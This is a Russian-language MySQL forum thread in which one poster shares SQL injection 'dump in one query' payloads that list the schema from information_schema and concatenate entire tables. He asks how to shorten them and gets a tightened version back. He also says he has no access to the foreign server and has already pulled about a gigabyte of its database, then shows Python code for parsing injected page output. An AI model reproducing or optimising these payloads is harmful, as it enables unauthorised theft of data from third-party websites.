Гость
Целевая тема:
Создать новую тему:
Автор:
Форумы / MySQL [игнор отключен] [закрыт для гостей] / Сниппет для дампа всей таблицы / 9 сообщений из 9, страница 1 из 1
25.05.2017, 02:44
    #39459235
lam0rez
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сниппет для дампа всей таблицы
Код: sql
1.
(select @a from(select @a='', (select @a from {table} where @a:=concat_ws('',@a,{columns})))a)-- [



Скажите можно ли его как-то сократить и какие у него недостатки?
...
Рейтинг: 0 / 0
25.05.2017, 02:54
    #39459236
lam0rez
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сниппет для дампа всей таблицы
Канонические примеры выглядят так:

Код: sql
1.
2.
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#



Но у concat есть фатальный недостаток: он возвращает NULL, если хотябы один из аргументов равен NULL.

Зачем тут используется
Код: sql
1.
where (@)in (@:=concat(@,

?

Зачем они иницииализируют переменную NULL-байтом? Я думаю, это из-за фильтрации кавычек.

И еще вопрос: можно ли какое либо значение приаести к пустой строке, а так же к NULL?
...
Рейтинг: 0 / 0
25.05.2017, 08:01
    #39459273
Akina
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сниппет для дампа всей таблицы
lam0rezу concat есть фатальный недостаток: он возвращает NULL, если хотябы один из аргументов равен NULLЭто легко исправляется использованием IFNULL или COALESCE.

lam0rezЗачем они иницииализируют переменную NULL-байтом?А чем? будешь отвечать - учти, что пользовательские переменные не типизованы. И Null - ни разу не байт...

lam0rezможно ли какое либо значение приаести к пустой строке, а так же к NULL?Вопрос. мягко говоря, непонятен... но в любом случае - CASE может выполнить любые подмены.

lam0rezможно ли его как-то сократить
Код: sql
1.
2.
3.
4.
select max(@a) 
from {table}
   , (select @a:='') a
where @a:=concat_ws('',@a,{columns});



lam0rezкакие у него недостатки?Не определён порядок записей.
На большом количестве записей - медленный, если вообще выполнится, ибо может банально не хватить памяти.
Ну и вообще - это бред, а не дамп. Нужен дамп - есть SELECT .. INTO OUTFILE.
...
Рейтинг: 0 / 0
25.05.2017, 09:51
    #39459336
lam0rez
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сниппет для дампа всей таблицы
0x00 - это нулл-байт
...
Рейтинг: 0 / 0
25.05.2017, 09:55
    #39459344
lam0rez
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сниппет для дампа всей таблицы
Akina, ну я к чужому серверу доступа не имею. там нет прав для записи. были бы не пришлось на скуле городить огород. короче выкачал базу там гигабайт целый
...
Рейтинг: 0 / 0
25.05.2017, 10:09
    #39459365
Akina
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сниппет для дампа всей таблицы
lam0rez , нулевой байт и NULL - это не одно и то же, не ошибайтесь:

Код: sql
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
mysql> SET @a = NULL;
Query OK, 0 rows affected (0.00 sec)

mysql> SELECT LENGTH(@a);
+------------+
| LENGTH(@a) |
+------------+
|       NULL |
+------------+
1 row in set (0.01 sec)

mysql> SET @a = CHAR(0);
Query OK, 0 rows affected (0.00 sec)

mysql> SELECT LENGTH(@a);
+------------+
| LENGTH(@a) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)
...
Рейтинг: 0 / 0
25.05.2017, 10:12
    #39459371
lam0rez
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сниппет для дампа всей таблицы
Akina, я собственно это и сказал. Там переменной 0X00 присваивается.

тип прикол
...
Рейтинг: 0 / 0
29.05.2017, 03:36
    #39461178
lam0rez
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сниппет для дампа всей таблицы
я понял глубинный смысл нулл-байта: по нему удобно разбивать строку.

Код: html
1.
<html>\x00[тут результат выборки из базы в результате sql-инъекции]\x00</html>



Код: python
1.
2.
data = r.text.split('\x00')
data = [1:-1]
...
Рейтинг: 0 / 0
29.05.2017, 03:37
    #39461179
lam0rez
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Сниппет для дампа всей таблицы
и с регулярками напрягаться не нужно!
...
Рейтинг: 0 / 0
Форумы / MySQL [игнор отключен] [закрыт для гостей] / Сниппет для дампа всей таблицы / 9 сообщений из 9, страница 1 из 1
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]